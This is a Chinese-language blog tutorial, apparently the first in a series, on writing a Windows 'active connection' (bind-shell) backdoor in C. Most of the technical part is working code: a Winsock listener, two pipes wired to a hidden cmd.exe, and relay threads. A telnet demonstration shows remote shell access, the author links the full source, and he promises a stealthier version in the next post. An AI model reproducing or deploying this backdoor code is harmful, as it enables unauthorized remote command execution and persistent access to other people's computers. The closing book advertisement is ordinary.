后门编程(1)之双管道主动连接型
长时间不写博客就是容易懒,今天10月最后一天,写篇博客来结个尾。今天写的是关于如何编写windows后门程序,主要是涉及的技术是socket通信和管道。后门分为主动连接型和反向连接型,而根据使用的管道数又可以细分为双管道,单管道和零管道。今天讲的是双管道主动连接型后门的编写。
一.原理讲解
1.1 主动连接型指的是后门程序作为服务端,换句话说被攻击者的服务器作为服务端,攻击者(黑客)作为客户端主动去连接后门程序,执行一系列的shell操作。服务器不一定是放在外网中,其实在内网中也是可以的。
从上图中可以看到后门程序需要监听指定端口,并可以接收外部的连接,这就涉及了socket服务端程序的编写,在windows上编写的步骤为:
- 初始化socket
- 创建TCP类型的socket
- 绑定指定端口,开始监听并接收连接
部分代码如下:
1 //初始化socket 2 if (!SockInit()) return FALSE; 3 //创建socket 4 SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 5 if (serverSocket == INVALID_SOCKET) return FALSE; 6 //绑定指定端口 7 sockaddr_in sServer = { 0 }; 8 sServer.sin_family = AF_INET; 9 sServer.sin_addr.s_addr = htonl(INADDR_ANY); 10 sServer.sin_port = htons(port); 11 if (bind(serverSocket,(sockaddr*) &sServer, sizeof(sServer)) == SOCKET_ERROR) 12 { 13 return FALSE; 14 } 15 //开始监听,并且接受连接 16 if (listen(serverSocket, 5) == SOCKET_ERROR) 17 { 18 return FALSE; 19 } 20 21 SOCKET cSocket = accept(serverSocket, NULL, NULL);
1.2 后门程序不仅需要接收外部的连接,还需要进行本地的shell操作,这样黑客在自己的电脑上就可以远程操作服务器的shell。这就涉及到进程间通信,采用的是管道技术。下面我把工作流程进行进一步细化,由于管道是单向的,因此这次使用双管道分别进行读操作和写操作。
大家可能奇怪为什么有两个管道,却只有一个socket,因为socket传输是双向的。上图的工作流程是这样的,首先黑客通过网络远程连接到后门程序,后门程序接收到socket传过来的指令,并通过读管道传给cmd.exe进程,进行操作,并把操作的结果通过写管道传给socket,最终传回黑客电脑。后门程序和cmd.exe建立管道通信的代码如下:
1 //开始创建管道,管道是单向的,所以创建两个管道, 2 //一个负责读一个负责写 3 4 HANDLE hReadPipe1, hWritePipe1;//管道1 的读写 5 HANDLE hReadPipe2, hWritePipe2;//管道2的读写 6 7 SECURITY_ATTRIBUTES sa = { 0 }; 8 sa.nLength = sizeof(SECURITY_ATTRIBUTES); 9 sa.lpSecurityDescriptor = NULL; 10 sa.bInheritHandle = TRUE; 11 12 if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || 13 !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0)) 14 return FALSE; 15 //启动cmd.exe,并建立与它的管道通信 16 //首先配置启动参数 17 STARTUPINFO si = {0}; 18 GetStartupInfo(&si); 19 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 20 //cmd的标准输入连接到管道1的读取端 21 si.hStdInput = hReadPipe1; 22 //cmd的标准输出连接到管道2的写入端 23 si.hStdOutput = si.hStdError = hWritePipe2; 24 //将窗口设置为隐藏 25 si.wShowWindow = SW_HIDE; 26 //获取cmd.exe的系统路径 27 TCHAR tCmdPath[MAX_PATH] = { 0 }; 28 GetSystemDirectory(tCmdPath, MAX_PATH);//获取系统路径 29 lstrcat(tCmdPath, TEXT("\\cmd.exe")); 30 //wcscat_s(tCmdPath, MAX_PATH, TEXT("\\cmd.exe")); 31 //开始创建cmd进程 32 PROCESS_INFORMATION pi = { 0 }; 33 if (!CreateProcess(tCmdPath, 34 NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) 35 return FALSE;
1.3.为了方便操作,我在后门程序中开启了两个线程,分别处理socket和管道的读写操作,部分代码如下:
1 //下面开始启动两个线程,一个是读线程,从socket读取数据写入管道1,一个是写线程,从管道2读取数据,写到socket 2 ComNode mReadNode, mWriteNode; 3 mReadNode.socket = mWriteNode.socket = cSocket; 4 mReadNode.pipe = hWritePipe1; 5 mWriteNode.pipe = hReadPipe2; 6 //接下来启动线程,并将两个通信节点作为参数传到线程处理函数中 7 DWORD dwThreadOutput=0, dwThreadInput=0; 8 HANDLE hThreadInput = CreateThread(NULL, 0, ThreadInput, &mReadNode, 0, &dwThreadInput); 9 HANDLE hThreadOutput = CreateThread(NULL, 0, ThreadOutput, &mWriteNode, 0, &dwThreadOutput); 10 11 12 HANDLE szHandles[] = { hThreadOutput ,hThreadInput }; 13 //同步线程 14 WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);
1.4最后看一下运行效果,首先我们在本地启动后门程序,监听8009端口,然后在本地使用telnet连接后门程序,模拟黑客攻击的过程,当然你完全可以将后门程序放到公网中,这里只是方便演示。
这就是我们在E盘生成的后门程序,大家肯定会想,如果去掉这个黑窗口,不然不够隐蔽,大家先百度,很简单,在下一篇后门编程(2)我会讲一下。接着我在本地启动一个cmd.exe,也就是黑客端,不要和后门程序中启动的cmd.exe弄混了。在其中输入telnet命令,连接后门程序。下图是连接后门之前的cmd.exe的情况。
我们输入telnet 127.0.0.1 8009 后,开始发生变化。
路径切换到后门所在的地方了,我们也就是说我们可以在本机远程操作服务器上的shell了,执行dir命令,查看服务器上的文件。
完整的代码我放到 https://github.com/qiyeboy/LuLunZi 中的BackDoor文件夹中。
二.再续
我新书《Python爬虫开发与项目实战》出版了。 这本书包括基础篇,中级篇和深入篇三个部分,不仅适合零基础的朋友入门,也适合有一定基础的爬虫爱好者进阶,如果你不会分布式爬虫,不会千万级数据的去重,不会怎么突破反爬虫,不会分析js的加密,这本书会给你惊喜。如果大家对这本书感兴趣的话,可以看一下 试读样章。
欢迎大家光顾我公众号: